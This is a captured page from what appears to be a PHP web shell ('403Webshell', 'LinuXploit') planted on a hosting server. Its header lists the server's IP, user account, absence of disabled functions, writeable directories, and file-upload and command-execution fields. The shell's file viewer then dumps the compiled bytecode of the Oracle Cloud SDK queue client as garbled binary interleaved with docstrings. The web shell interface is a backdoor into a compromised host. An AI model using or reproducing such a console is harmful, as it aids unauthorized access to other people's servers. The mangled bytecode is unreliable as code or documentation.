403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/oci/queue/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/oci/queue/__pycache__/queue_client.cpython-39.pyc
a

���fI��@s�ddlmZddlmZddlmZddlmZmZddlm	Z	ddl
mZmZddl
mZddlmZmZmZdd	lmZdd
lmZddlmZed
�ZGdd�de�ZdS)�)�absolute_import)�requests)�six)�retry�circuit_breaker)�
BaseClient)�get_config_value_or_default�validate_config)�Signer)�Sentinel�#get_signer_from_authentication_type�AUTHENTICATION_TYPE_FIELD_NAME)�InvalidAlloyConfig)�OCI_SDK_ENABLED_SERVICES_SET�)�queue_type_mappingZMissingc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�QueueClientz�
    Use the Queue API to produce and consume messages, create queues, and manage related items. For more information, see [Queue](/iaas/Content/queue/overview.htm).
    c
Ks&t�d�std��t||�d�d�d|vr6|d}nDt|vrHt|�}n2t|d|d|d|�d�t|d	�|�d
�d�}d|�d
�ddi|�dd�|�dt	j
�|�d�d�}d|vr�|�d�|d<|�d�dur�t	j|d<d|vr�|�d�|d<td||t
fi|��|_|�d�|_|�d�|_dS)a�
        Creates a new service client

        :param dict config:
            Configuration keys and values as per `SDK and Tool Configuration <https://docs.cloud.oracle.com/Content/API/Concepts/sdkconfig.htm>`__.
            The :py:meth:`~oci.config.from_file` method can be used to load configuration from a file. Alternatively, a ``dict`` can be passed. You can validate_config
            the dict using :py:meth:`~oci.config.validate_config`

        :param str service_endpoint: (optional)
            The endpoint of the service to call using this client. For example ``https://iaas.us-ashburn-1.oraclecloud.com``. If this keyword argument is
            not provided then it will be derived using the region in the config parameter. You should only provide this keyword argument if you have an explicit
            need to specify a service endpoint.

        :param timeout: (optional)
            The connection and read timeouts for the client. The default values are connection timeout 10 seconds and read timeout 60 seconds. This keyword argument can be provided
            as a single float, in which case the value provided is used for both the read and connection timeouts, or as a tuple of two floats. If
            a tuple is provided then the first value is used as the connection timeout and the second value as the read timeout.
        :type timeout: float or tuple(float, float)

        :param signer: (optional)
            The signer to use when signing requests made by the service client. The default is to use a :py:class:`~oci.signer.Signer` based on the values
            provided in the config parameter.

            One use case for this parameter is for `Instance Principals authentication <https://docs.cloud.oracle.com/Content/Identity/Tasks/callingservicesfrominstances.htm>`__
            by passing an instance of :py:class:`~oci.auth.signers.InstancePrincipalsSecurityTokenSigner` as the value for this keyword argument
        :type signer: :py:class:`~oci.signer.AbstractBaseSigner`

        :param obj retry_strategy: (optional)
            A retry strategy to apply to all calls made by this service client (i.e. at the client level). There is no retry strategy applied by default.
            Retry strategies can also be applied at the operation level by passing a ``retry_strategy`` keyword argument as part of calling the operation.
            Any value provided at the operation level will override whatever is specified at the client level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. A convenience :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY`
            is also available. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

        :param obj circuit_breaker_strategy: (optional)
            A circuit breaker strategy to apply to all calls made by this service client (i.e. at the client level).
            This client uses :py:data:`~oci.circuit_breaker.DEFAULT_CIRCUIT_BREAKER_STRATEGY` as default if no circuit breaker strategy is provided.
            The specifics of circuit breaker strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/circuit_breakers.html>`__.

        :param function circuit_breaker_callback: (optional)
            Callback function to receive any exceptions triggerred by the circuit breaker.

        :param bool client_level_realm_specific_endpoint_template_enabled: (optional)
            A boolean flag to indicate whether or not this client should be created with realm specific endpoint template enabled or disable. By default, this will be set as None.

        :param allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this client should allow control characters in the response object. By default, the client will not
            allow control characters to be in the response object.
        ZqueueaThe Alloy configuration has disabled this service, this behavior is controlled by OCI_SDK_ENABLED_SERVICES_SET variable. Please check if your local alloy-config file configured the service you're targeting or contact the cloud provider on the availability of this service�signer)r�tenancy�user�fingerprintZkey_file�pass_phraseZkey_content)rrrZprivate_key_file_locationrZprivate_key_contentT�service_endpointz	/20210201z2https://messaging.{region}.oci.{secondLevelDomain}�skip_deserializationF�circuit_breaker_strategy�5client_level_realm_specific_endpoint_template_enabled)Zregional_clientr�	base_pathZservice_endpoint_templateZ#service_endpoint_template_per_realmrrr�timeoutN�allow_control_chars�retry_strategy�circuit_breaker_callback)rZis_service_enabledrr	�getr
rr
rrZGLOBAL_CIRCUIT_BREAKER_STRATEGYZ DEFAULT_CIRCUIT_BREAKER_STRATEGYrr�base_clientrr )�selfZconfig�kwargsrZbase_client_init_kwargs�r%�:/usr/lib/python3.9/site-packages/oci/queue/queue_client.py�__init__sB3


�

�

zQueueClient.__init__csvddg}d}d}d}d}gd���fdd	�t�|�D�}	|	rJtd
|	����||d�}
dd
�t�|
�D�}
t�|
�D]<\}}|dus�t|tj�rrt|���dkrrtd|�d���qrdd|�dt	�d�}
dd
�t�|
�D�}
|j
j|�d�|jd�}|dur�t
j}|�rPt|t
j��s*|j
�|
�|�|j�|j|j
j|||
|
|�d�|||d�	S|j
j|||
|
|�d�|||d�SdS)a
        Deletes the message represented by the receipt from the queue.
        You must use the `messages endpoint`__ to delete messages.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param str message_receipt: (required)
            The receipt of the message retrieved from a GetMessages call.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation uses :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` as default if no retry strategy is provided.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type None
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/delete_message.py.html>`__ to see an example of how to use delete_message API.
        �queueId�messageReceipt�+/queues/{queueId}/messages/{messageReceipt}ZDELETE�delete_messagezMhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/GetMessage/DeleteMessage�rr�opc_request_idcsg|]}|�vr|�qSr%r%��.0Z_key�Zexpected_kwargsr%r&�
<listcomp>��z.QueueClient.delete_message.<locals>.<listcomp>z#delete_message got unknown kwargs: �r(r)cSsi|]\}}|tur||�qSr%��missing�r/�k�vr%r%r&�
<dictcomp>�r2z.QueueClient.delete_message.<locals>.<dictcomp>Nr�
Parameter �+ cannot be None, whitespace or empty string�application/jsonr-�Zacceptzcontent-typezopc-request-idcSs&i|]\}}|tur|dur||�qS�Nr4r6r%r%r&r9�r2r�Zoperation_retry_strategyZclient_retry_strategyr)�
resource_path�method�path_params�
header_paramsr�operation_name�api_reference_link�required_arguments�r�iterkeys�
ValueError�	iteritems�
isinstance�string_types�len�stripr!r5r"�get_preferred_retry_strategyrrZDEFAULT_RETRY_STRATEGY�NoneRetryStrategy�add_opc_client_retries_header�add_circuit_breaker_callbackr �make_retrying_call�call_api)r#�queue_id�message_receiptr$rFr@rArDrE�extra_kwargsrBr7r8rCrr%r0r&r+wsl%��$
����zQueueClient.delete_messagec
szdg}d}d}d}d}gd���fdd�t�|�D�}	|	rHtd	|	����d|i}
d
d�t�|
�D�}
t�|
�D]<\}}|dus�t|tj�rnt|���d
krntd|�d���qndd|�dt	�d�}
dd�t�|
�D�}
|j
j|�d�|jd�}|dur�t
j}|�rPt|t
j��s&|j
�|
�|�|j�|j|j
j|||
|
|d|�d�|||d�S|j
j|||
|
|d|�d�|||d�
SdS)a�
        Deletes multiple messages from the queue or the consumer group. Only messages from the same queue/consumer group can be deleted at once.
        You must use the `messages endpoint`__ to delete messages.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param oci.queue.models.DeleteMessagesDetails delete_messages_details: (required)
            Details for the messages to delete.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation uses :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` as default if no retry strategy is provided.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.DeleteMessagesResult`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/delete_messages.py.html>`__ to see an example of how to use delete_messages API.
        r(z1/queues/{queueId}/messages/actions/deleteMessages�POST�delete_messageszNhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/GetMessage/DeleteMessagesr,csg|]}|�vr|�qSr%r%r.r0r%r&r1r2z/QueueClient.delete_messages.<locals>.<listcomp>z$delete_messages got unknown kwargs: cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9r2z/QueueClient.delete_messages.<locals>.<dictcomp>Nrr:r;r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9$r2rr?ZDeleteMessagesResultr�
r@rArBrC�body�
response_typerrDrErFrG)r#rUZdelete_messages_detailsr$rFr@rArDrErWrBr7r8rCrr%r0r&rY�sr%��$
���
�zQueueClient.delete_messagesc
s�dg}d}d}d}d}gd���fdd�t�|�D�}|rHtd	|����d|i}	d
d�t�|	�D�}	t�|	�D]<\}
}|dus�t|tj�rnt|���d
krntd|
�d���qn|�dt	�|�dt	�|�dt	�|�dt	�d�}dd�t�|�D�}dd|�dt	�d�}
dd�t�|
�D�}
|j
j|�d�|jd�}|�r�t|t
j��sZ|j
�|
�|�|j�|j|j
j|||	||
d|�d�|||d�S|j
j|||	||
d|�d�|||d�
SdS)ar
        Consumes messages from the queue.
        You must use the `messages endpoint`__ to consume messages.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.
        GetMessages accepts optional channelFilter query parameter that can filter source channels of the messages.
        When channelFilter is present, service will return available messages from the channel which ID exactly matched the filter.
        When filter is not specified, messages will be returned from a random non-empty channel within a queue.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param int visibility_in_seconds: (optional)
            If the `visibilityInSeconds` parameter is set, messages will be hidden for `visibilityInSeconds` seconds and won't be consumable by other consumers during that time.
            If it isn't set it defaults to the value set at the queue level.

            Using a `visibilityInSeconds` value of 0 effectively acts as a peek functionality.
            Messages retrieved that way aren't meant to be deleted because they will most likely be delivered to another consumer as their visibility won't change, but will still increase the delivery count by one.

        :param int timeout_in_seconds: (optional)
            If the `timeoutInSeconds parameter` isn't set or it is set to a value greater than 0, the request is using the long-polling mode and will only return when a message is available for consumption (it does not wait for limit messages but still only returns at-most limit messages) or after `timeoutInSeconds` seconds (in which case it will return an empty response), whichever comes first.

            If the parameter is set to 0, the request is using the short-polling mode and immediately returns whether messages have been retrieved or not.
            In same rare-cases a long-polling request could be interrupted (returned with empty response) before the end of the timeout.

        :param int limit: (optional)
            The limit parameter controls how many messages is returned at-most.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param str channel_filter: (optional)
            Optional parameter to filter the channels.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.GetMessages`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/get_messages.py.html>`__ to see an example of how to use get_messages API.
        r(�/queues/{queueId}/messages�GET�get_messageszKhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/GetMessage/GetMessages)rr�visibility_in_seconds�timeout_in_seconds�limitr-�channel_filtercsg|]}|�vr|�qSr%r%r.r0r%r&r1�r2z,QueueClient.get_messages.<locals>.<listcomp>z!get_messages got unknown kwargs: cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9�r2z,QueueClient.get_messages.<locals>.<dictcomp>Nrr:r;r`rarbrc)ZvisibilityInSecondsZtimeoutInSecondsrb�
channelFiltercSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9�r2r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9�r2rr?ZGetMessagesr�
r@rArB�query_paramsrCr\rrDrErF�rrHrIrJrKrLrMrNr!r5r"rOrrrPrQrRr rSrT�r#rUr$rFr@rArDrErWrBr7r8rfrCrr%r0r&r_Jsz8	��$



�
���
�zQueueClient.get_messagesc
s�dg}d}d}d}d}gd���fdd�t�|�D�}|rHtd	|����d|i}	d
d�t�|	�D�}	t�|	�D]<\}
}|dus�t|tj�rnt|���d
krntd|
�d���qnd|�dt	�i}dd�t�|�D�}dd|�dt	�d�}
dd�t�|
�D�}
|j
j|�d�|jd�}|du�r t
j}|�rvt|t
j��sL|j
�|
�|�|j�|j|j
j|||	||
d|�d�|||d�S|j
j|||	||
d|�d�|||d�
SdS)a
        Gets the statistics for the queue and its dead letter queue.
        You must use the `messages endpoint`__ to get a queue's statistics.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param str channel_id: (optional)
            Id to specify channel.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation uses :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` as default if no retry strategy is provided.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.QueueStats`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/get_stats.py.html>`__ to see an example of how to use get_stats API.
        r(z/queues/{queueId}/statsr^�	get_statszHhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/QueueStats/GetStats)rrr-�
channel_idcsg|]}|�vr|�qSr%r%r.r0r%r&r1r2z)QueueClient.get_stats.<locals>.<listcomp>zget_stats got unknown kwargs: cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9
r2z)QueueClient.get_stats.<locals>.<dictcomp>Nrr:r;Z	channelIdrjcSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9r2r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9r2rr?Z
QueueStatsrrerGrhr%r0r&ri�sx%��$�
��
�
�zQueueClient.get_statsc
s�dg}d}d}d}d}gd���fdd�t�|�D�}|rHtd	|����d|i}	d
d�t�|	�D�}	t�|	�D]<\}
}|dus�t|tj�rnt|���d
krntd|
�d���qn|�dt	�|�dt	�|�dt	�d�}dd�t�|�D�}dd|�dt	�d�}
dd�t�|
�D�}
|j
j|�d�|jd�}|du�r4t
j}|�r�t|t
j��s`|j
�|
�|�|j�|j|j
j|||	||
d|�d�|||d�S|j
j|||	||
d|�d�|||d�
SdS)a
        Gets the list of IDs of non-empty channels.
        It will return an approximate list of IDs of non-empty channels. That information is based on the queue level statistics.
        API supports optional channelFilter parameter which will filter the returned results according to the specified filter.
        List of channel IDs is approximate, because statistics is refreshed once per-second, and that list represents a snapshot of the past information. API is paginated.


        :param str queue_id: (required)
            The unique queue identifier.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param int limit: (optional)
            For list pagination. The maximum number of results per page, or items to return in a paginated "List" call. For important details about how pagination works, see `List Pagination`__.

            __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine

        :param str page: (optional)
            For list pagination. The value of the opc-next-page response header from the previous "List" call. For important details about how pagination works, see `List Pagination`__.

            __ https://docs.cloud.oracle.com/iaas/Content/API/Concepts/usingapi.htm#nine

        :param str channel_filter: (optional)
            Optional parameter to filter the channels.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation uses :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` as default if no retry strategy is provided.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.ChannelCollection`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/list_channels.py.html>`__ to see an example of how to use list_channels API.
        r(z/queues/{queueId}/channelsr^�
list_channelszShttps://docs.oracle.com/iaas/api/#/en/queue/20210201/ChannelCollection/ListChannels)rrr-rb�pagerccsg|]}|�vr|�qSr%r%r.r0r%r&r1�r2z-QueueClient.list_channels.<locals>.<listcomp>z"list_channels got unknown kwargs: cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9�r2z-QueueClient.list_channels.<locals>.<dictcomp>Nrr:r;rbrlrc)rbrlrdcSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9�r2r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9�r2rr?ZChannelCollectionrrerGrhr%r0r&rkCs|.��$


�
��
�
�zQueueClient.list_channelsc
sldg}d}d}d}d}gd���fdd�t�|�D�}	|	rHtd	|	����d|i}
d
d�t�|
�D�}
t�|
�D]<\}}|dus�t|tj�rnt|���d
krntd|�d���qndd|�dt	�d�}
dd�t�|
�D�}
|j
j|�d�|jd�}|�rBt|t
j��s|j
�|
�|�|j�|j|j
j|||
|
|d|�d�|||d�S|j
j|||
|
|d|�d�|||d�
SdS)a]
        Puts messages into the queue.
        You must use the `messages endpoint`__ to produce messages.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param oci.queue.models.PutMessagesDetails put_messages_details: (required)
            Details for the messages to publish.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.PutMessages`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/put_messages.py.html>`__ to see an example of how to use put_messages API.
        r(r]rX�put_messageszKhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/PutMessage/PutMessagesr,csg|]}|�vr|�qSr%r%r.r0r%r&r1�r2z,QueueClient.put_messages.<locals>.<listcomp>z!put_messages got unknown kwargs: cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9�r2z,QueueClient.put_messages.<locals>.<dictcomp>Nrr:r;r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9r2rr?ZPutMessagesrrZrg)r#rUZput_messages_detailsr$rFr@rArDrErWrBr7r8rCrr%r0r&rm�sn%��$
���
�zQueueClient.put_messagesc
s~ddg}d}d}d}d}	gd���fdd	�t�|�D�}
|
rJtd
|
����||d�}dd
�t�|�D�}t�|�D]<\}}
|
dus�t|
tj�rrt|
���dkrrtd|�d���qrdd|�dt	�d�}dd
�t�|�D�}|j
j|�d�|jd�}|dur�t
j}|�rTt|t
j��s*|j
�|�|�|j�|j|j
j|||||d|�d�||	|d�S|j
j|||||d|�d�||	|d�
SdS)a�
        Updates the visibility of the message represented by the receipt.
        You must use the `messages endpoint`__ to update messages.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param str message_receipt: (required)
            The receipt of the message retrieved from a GetMessages call.

        :param oci.queue.models.UpdateMessageDetails update_message_details: (required)
            Details for the message to update.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation uses :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` as default if no retry strategy is provided.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.UpdatedMessage`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/update_message.py.html>`__ to see an example of how to use update_message API.
        r(r)r*ZPUT�update_messagezQhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/UpdatedMessage/UpdateMessager,csg|]}|�vr|�qSr%r%r.r0r%r&r1^r2z.QueueClient.update_message.<locals>.<listcomp>z#update_message got unknown kwargs: r3cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9hr2z.QueueClient.update_message.<locals>.<dictcomp>Nrr:r;r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9sr2rr?ZUpdatedMessagerrZrG)r#rUrVZupdate_message_detailsr$rFr@rArDrErWrBr7r8rCrr%r0r&rn*st(��$
���
�zQueueClient.update_messagec
szdg}d}d}d}d}gd���fdd�t�|�D�}	|	rHtd	|	����d|i}
d
d�t�|
�D�}
t�|
�D]<\}}|dus�t|tj�rnt|���d
krntd|�d���qndd|�dt	�d�}
dd�t�|
�D�}
|j
j|�d�|jd�}|dur�t
j}|�rPt|t
j��s&|j
�|
�|�|j�|j|j
j|||
|
|d|�d�|||d�S|j
j|||
|
|d|�d�|||d�
SdS)a�
        Updates multiple messages in the queue or the consumer group. Only messages from the same queue/consumer group can be updated at once.
        You must use the `messages endpoint`__ to update messages.
        The messages endpoint may be different for different queues. Use :func:`get_queue` to find the queue's `messagesEndpoint`.

        __ https://docs.cloud.oracle.com/iaas/Content/queue/messages.htm#messages__messages-endpoint


        :param str queue_id: (required)
            The unique queue identifier.

        :param oci.queue.models.UpdateMessagesDetails update_messages_details: (required)
            Details for the messages to update.

        :param str opc_request_id: (optional)
            Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID.

        :param obj retry_strategy: (optional)
            A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level.

            This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation uses :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` as default if no retry strategy is provided.
            The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__.

            To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`.

        :param bool allow_control_chars: (optional)
            allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object.
            By default, the response will not allow control characters in strings

        :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.queue.models.UpdateMessagesResult`
        :rtype: :class:`~oci.response.Response`

        :example:
        Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/queue/update_messages.py.html>`__ to see an example of how to use update_messages API.
        r(z1/queues/{queueId}/messages/actions/updateMessagesrX�update_messageszNhttps://docs.oracle.com/iaas/api/#/en/queue/20210201/GetMessage/UpdateMessagesr,csg|]}|�vr|�qSr%r%r.r0r%r&r1�r2z/QueueClient.update_messages.<locals>.<listcomp>z$update_messages got unknown kwargs: cSsi|]\}}|tur||�qSr%r4r6r%r%r&r9�r2z/QueueClient.update_messages.<locals>.<dictcomp>Nrr:r;r<r-r=cSs&i|]\}}|tur|dur||�qSr>r4r6r%r%r&r9�r2rr?ZUpdateMessagesResultrrZrG)r#rUZupdate_messages_detailsr$rFr@rArDrErWrBr7r8rCrr%r0r&ro�sr%��$
���
�zQueueClient.update_messagesN)
�__name__�
__module__�__qualname__�__doc__r'r+rYr_rirkrmrnror%r%r%r&rs[hk	q~iorN)Z
__future__rZoci._vendorrrZocirrZoci.base_clientrZ
oci.configrr	Z
oci.signerr
Zoci.utilrrr
Zoci.exceptionsrZ	oci.alloyrZmodelsrr5�objectrr%r%r%r&�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit